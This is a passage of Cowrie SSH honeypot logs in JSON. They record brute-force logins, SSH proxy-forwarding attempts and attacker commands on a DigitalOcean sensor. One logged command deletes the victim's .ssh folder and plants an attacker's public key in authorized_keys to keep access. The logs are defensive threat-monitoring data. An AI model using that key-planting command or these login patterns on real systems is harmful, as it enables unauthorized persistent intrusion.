00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:19.644710Z","src_ip":"113.164.152.20","session":"6d336b63de78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:20.090657Z","src_ip":"113.164.152.20","session":"6d336b63de78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":61566,"dst_ip":"159.203.135.109","dst_port":22,"session":"6345a074a6da","protocol":"ssh","message":"New connection: 49.247.37.22:61566 (159.203.135.109:22) [session: 6345a074a6da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:21.724064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:21.733152Z","src_ip":"49.247.37.22","session":"6345a074a6da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:21.942636Z","src_ip":"49.247.37.22","session":"6345a074a6da","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"0","message":"login attempt [steam/0] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:22.790000Z","src_ip":"49.247.37.22","session":"6345a074a6da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:23.249278Z","src_ip":"49.247.37.22","session":"6345a074a6da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:23.252438Z","src_ip":"49.247.37.22","session":"6345a074a6da","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:23.256316Z","src_ip":"49.247.37.22","session":"6345a074a6da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:23.664321Z","src_ip":"49.247.37.22","session":"6345a074a6da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:23.917747Z","src_ip":"49.247.37.22","session":"6345a074a6da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:23.920969Z","src_ip":"49.247.37.22","session":"6345a074a6da","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:24.130821Z","src_ip":"49.247.37.22","session":"6345a074a6da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:24.134751Z","src_ip":"49.247.37.22","session":"6345a074a6da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":2436,"dst_ip":"159.203.135.109","dst_port":22,"session":"59144e706f3d","protocol":"ssh","message":"New connection: 49.247.37.22:2436 (159.203.135.109:22) [session: 59144e706f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:24.342975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:24.354242Z","src_ip":"49.247.37.22","session":"59144e706f3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:24.566278Z","src_ip":"49.247.37.22","session":"59144e706f3d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:24.649426Z","session":"e90fea06bd63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:24.708880Z","src_ip":"23.175.50.51","session":"e90fea06bd63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x82\\xe9\\xec\\x1e\\n\\xb2P\\x97\\x8f/\\xf6\\xd79\\xf2bP\\x0ck\\x95\\xa0\\xde\\x8e\\xff+\\x8f\\xccTSv\\xf9\\x11\\xc6 \\xb2\\xfc\\xc6S\\xed\\x18)^!]d\\x9cU6.\\xf7\\xf5\\xec\\xf9\\x00&\\xfc\\x17\\x98\\x048\\x04gp\\x82\\x82S\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 I\\x02\\x9fA\\xab\\xa8\\xc7\\x8d\\t\\x04Q\\xcf\\x13/\\xbe\\xb6@\\xf0\\x19k)nm\\x8e\\xcc\\x85IS6\\xd1\\xf3t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x82\\xe9\\xec\\x1e\\n\\xb2P\\x97\\x8f/\\xf6\\xd79\\xf2bP\\x0ck\\x95\\xa0\\xde\\x8e\\xff+\\x8f\\xccTSv\\xf9\\x11\\xc6 \\xb2\\xfc\\xc6S\\xed\\x18)^!]d\\x9cU6.\\xf7\\xf5\\xec\\xf9\\x00&\\xfc\\x17\\x98\\x048\\x04gp\\x82\\x82S\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 I\\x02\\x9fA\\xab\\xa8\\xc7\\x8d\\t\\x04Q\\xcf\\x13/\\xbe\\xb6@\\xf0\\x19k)nm\\x8e\\xcc\\x85IS6\\xd1\\xf3t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:24.711730Z","src_ip":"23.175.50.51","session":"e90fea06bd63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:24.773557Z","session":"e90fea06bd63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:24.834671Z","src_ip":"23.175.50.51","session":"e90fea06bd63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x12\\xcd\\xf4\\xfb\\x132G\\xce\\xd3\\x861oa\\x82\\xfe\\x18\\x95\"\\x03\\xda\\x8f\\xf1&\\r5\\xe3\\xe8\\xe6\\n\\xfe\\x04> \\xda\\xe1S\\x83\\x92{\\x93}^\\xcb\\xea\\xebY\\x8dE\\x95\\x1b\\xc3\\xb0\\xe7\\xb2\\xd5\\x9a\\x9b\\xcd!\\xfa\\x9e\\xc8\\x7f\\xfb\\x04\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8bv5\\xad-\\x9cU\\xaa*cS\\xed\\xa1l\\x93\\x1a\\x87.\\xad~z~\\x99>\\xd4q0\\x01\\xe6\\xfe\\xa6*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x12\\xcd\\xf4\\xfb\\x132G\\xce\\xd3\\x861oa\\x82\\xfe\\x18\\x95\"\\x03\\xda\\x8f\\xf1&\\r5\\xe3\\xe8\\xe6\\n\\xfe\\x04> \\xda\\xe1S\\x83\\x92{\\x93}^\\xcb\\xea\\xebY\\x8dE\\x95\\x1b\\xc3\\xb0\\xe7\\xb2\\xd5\\x9a\\x9b\\xcd!\\xfa\\x9e\\xc8\\x7f\\xfb\\x04\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8bv5\\xad-\\x9cU\\xaa*cS\\xed\\xa1l\\x93\\x1a\\x87.\\xad~z~\\x99>\\xd4q0\\x01\\xe6\\xfe\\xa6*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:24.837857Z","src_ip":"23.175.50.51","session":"e90fea06bd63","protocol":"ssh"}
